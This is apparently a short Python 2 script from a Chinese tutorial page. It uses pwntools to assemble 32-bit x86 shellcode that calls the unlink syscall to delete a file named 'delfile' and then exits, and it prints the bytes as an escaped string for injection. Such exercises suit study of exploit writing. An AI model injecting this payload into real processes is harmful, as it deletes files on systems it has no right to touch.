# -*- coding:utf-8 -*-
import os
import base64
from pwn import*
asm_code = """.global _start
_start:
jmp test1
test2:
pop ebx
mov al, 0xa
int 0x80
mov al, 0x1
xor ebx, ebx
int 0x80
test1:
call test2
.string "delfile" """
shellcode=asm(asm_code).encode('hex')
flag=""
for i in range(0,len(shellcode),2):
flag+=r'\x'
flag+=shellcode[i]+shellcode[i+1]
print flag
网友评论